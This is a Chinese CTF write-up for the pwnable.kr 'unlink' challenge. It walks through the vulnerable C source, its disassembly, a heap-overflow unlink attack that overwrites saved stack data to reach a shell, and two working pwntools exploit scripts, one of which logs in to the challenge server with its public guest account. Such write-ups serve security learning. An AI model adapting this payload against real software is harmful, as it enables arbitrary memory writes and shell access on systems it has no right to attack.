当前位置: 代码迷 >> 综合 >> pwnable.kr unlink
  详细解决方案

pwnable.kr unlink

热度:51   发布时间:2023-12-17 11:09:39.0

老样子,先看题目
在这里插入图片描述
在这里插入图片描述
cat unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;struct tagOBJ* bk;char buf[8];
}OBJ;void shell(){
    system("/bin/sh");
}void unlink(OBJ* P){
    OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ));// double linked list: A <-> B <-> CA->fd = B;B->bk = A;B->fd = C;C->bk = B;printf("here is stack address leak: %p\n", &A);printf("here is heap address leak: %p\n", A);printf("now that you have leaks, get shell!\n");// heap overflow!gets(A->buf);// exploit this unlink!unlink(B);return 0;
}

来分析一下这题

malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ));

这里申请了连续的堆内存

// double linked list: A <-> B <-> CA->fd = B;B->bk = A;B->fd = C;C->bk = B;

这里组成了一个双向链表

	// heap overflow!gets(A->buf);

这里没有限制输入产生了堆溢出,可以覆盖A->buf后面的内容

void unlink(OBJ* P){
    OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;
}

仔细查看函数unlink可以发现,这个函数中,如果控制了P节点的fb和bk指针,那么就可以造成任意地址写入,写入过程是将bk写入fb+4表示的地址处,将fb写入bk表示的地址处。
在这里插入图片描述
要想写入想要的地址,必须要保证两步写入操作不会触发写异常保护,我们查看一下程序的保护,发现开启了NX保护,堆上代码不可执行,而且由于程序执行完成unlink函数后就返回了,所以覆写GOT表操纵也是没有机会的,剩下的只有操作栈了

; Attributes: bp-based frame; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc nearvar_14= dword ptr -14h
var_10= dword ptr -10h
var_C= dword ptr -0Ch
var_4= dword ptr -4
argc= dword ptr  0Ch
argv= dword ptr  10h
envp= dword ptr  14hlea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ecx
sub     esp, 14h
sub     esp, 0Ch
push    400h            ; size
call    _malloc
add     esp, 10h
sub     esp, 0Ch
push    10h             ; size
call    _malloc
add     esp, 10h
mov     [ebp+var_14], eax
sub     esp, 0Ch
push    10h             ; size
call    _malloc
add     esp, 10h
mov     [ebp+var_C], eax
sub     esp, 0Ch
push    10h             ; size
call    _malloc
add     esp, 10h
mov     [ebp+var_10], eax
mov     eax, [ebp+var_14]
mov     edx, [ebp+var_C]
mov     [eax], edx
mov     edx, [ebp+var_14]
mov     eax, [ebp+var_C]
mov     [eax+4], edx
mov     eax, [ebp+var_C]
mov     edx, [ebp+var_10]
mov     [eax], edx
mov     eax, [ebp+var_10]
mov     edx, [ebp+var_C]
mov     [eax+4], edx
sub     esp, 8
lea     eax, [ebp+var_14]
push    eax
push    offset format   ; "here is stack address leak: %p\n"
call    _printf
add     esp, 10h
mov     eax, [ebp+var_14]
sub     esp, 8
push    eax
push    offset aHereIsHeapAddr ; "here is heap address leak: %p\n"
call    _printf
add     esp, 10h
sub     esp, 0Ch
push    offset s        ; "now that you have leaks, get shell!"
call    _puts
add     esp, 10h
mov     eax, [ebp+var_14]
add     eax, 8
sub     esp, 0Ch
push    eax             ; s
call    _gets
add     esp, 10h
sub     esp, 0Ch
push    [ebp+var_C]
call    unlink
add     esp, 10h
mov     eax, 0
mov     ecx, [ebp+var_4]
leave
lea     esp, [ecx-4]
retn
main endp

通过对main函数的分析发现A,B,C三个节点的栈地址分别是ebp-0x14,ebp-0xc,ebp-0x10,在函数结尾发现ret指令之前是lea esp, [ecx-4],说明esp最后会被ecx修改,而ecx又会被指令mov ecx, [ebp+var_4]修改。于是要想把esp所表示地址的内容改为shell的地址,可以通过更改ebp-4的内容为shell地址+4来实现,而ebp-4的地址可以通过A地址来计算,它们的相对偏移为ebp-4-(ebp-0x14)=16,则堆块的内存布局如下

+-------------------+-------------------+  <- heap addr[A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|     shell addr    |      AAAA         |
+---------------------------------------+
|              AAAAAAAA                 |
+---------------------------------------+  <- [B]
|     heap + 12     |     stack + 16    |
+-------------------+-------------------+

此时我们执行到这里的堆应该如下,我这里用了IDA 远程调试,因为gdb对我来说实在是搞不动,文末尾有IDA调试的方法
在这里插入图片描述
可以跟进去看unlink函数的操作
这里在本地调试的时候遇到了一个小坑,我也查了很多别人的writeup,内存布局基本都是和我上面所说的是这种情况

+-------------------+-------------------+  <- heap addr[A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|     shell addr    |      AAAA         |
+---------------------------------------+
|              AAAAAAAA                 |
+---------------------------------------+  <- [B]
|     heap + 12     |     stack + 16    |
+-------------------+-------------------+

但是我这边反编译出来的代码是
在这里插入图片描述
但是我使用了他们的代码进行调试后内存布局却出现了错误,本地是产生了错误,但是连上服务器却能获取shell
在这里插入图片描述
如果是用网上的exp,在我本地调试main函数返回时候并不能返回到shell,情况如下
在这里插入图片描述
大概想了一下问题可能出在unlink函数中,我找了一些wp,也没看到别人反编译出来的unlink函数,我这边是这样的

__unwind {
    
push    ebp
mov     ebp, esp
sub     esp, 10h
mov     eax, [ebp+arg_0]
mov     eax, [eax+4]
mov     [ebp+var_4], eax
mov     eax, [ebp+arg_0]
mov     eax, [eax]
mov     [ebp+var_8], eax
mov     eax, [ebp+var_8]
mov     edx, [ebp+var_4]
mov     [eax+4], edx
mov     eax, [ebp+var_4]
mov     edx, [ebp+var_8]
mov     [eax], edx
nop
leave
retn

不知道和大佬们的有什么不同,如果有大佬知道,请告诉我
但可以稍微修改一下网上的exp就可以用了
网上的基本是这样的

from pwn import *context(arch='amd64',os='linux',log_level='info')
s = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
shell_addr = 0x080484eb
ss = s.run('./unlink')
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*12+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()

我自己本地调试使用的

from pwn import *
context(arch='amd64',os='linux',log_level='info')
from pwnlib.util.proc import wait_for_debugger
ss = process("./unlink",stdin=PTY)
wait_for_debugger(ss.pid)
shell_addr = 0x080484eb
ss.recvuntil('here is stack address leak: ')
stack_addr = int(ss.recv(10),16)
ss.recvuntil('here is heap address leak: ')
heap_addr = int(ss.recv(10),16)
ss.sendline(p32(shell_addr)+'a'*20+p32(heap_addr+8+4)+p32(stack_addr+16))
ss.interactive()

只有这句修改了把12,改成了20,让内存布局变回正确的位置

ss.sendline(p32(shell_addr)+'a'*20+p32(heap_addr+8+4)+p32(stack_addr+16)

改完后main函数的retn 便可以正确返回shell
在这里插入图片描述
但是使用网上大佬们的exp却可以正确获取flag
在这里插入图片描述
我也不是很明白为什么,就当勉强完成了把:)

附:IDA远程调试方法
https://github.com/anic/ida2pwntools
https://bbs.pediy.com/thread-247830.htm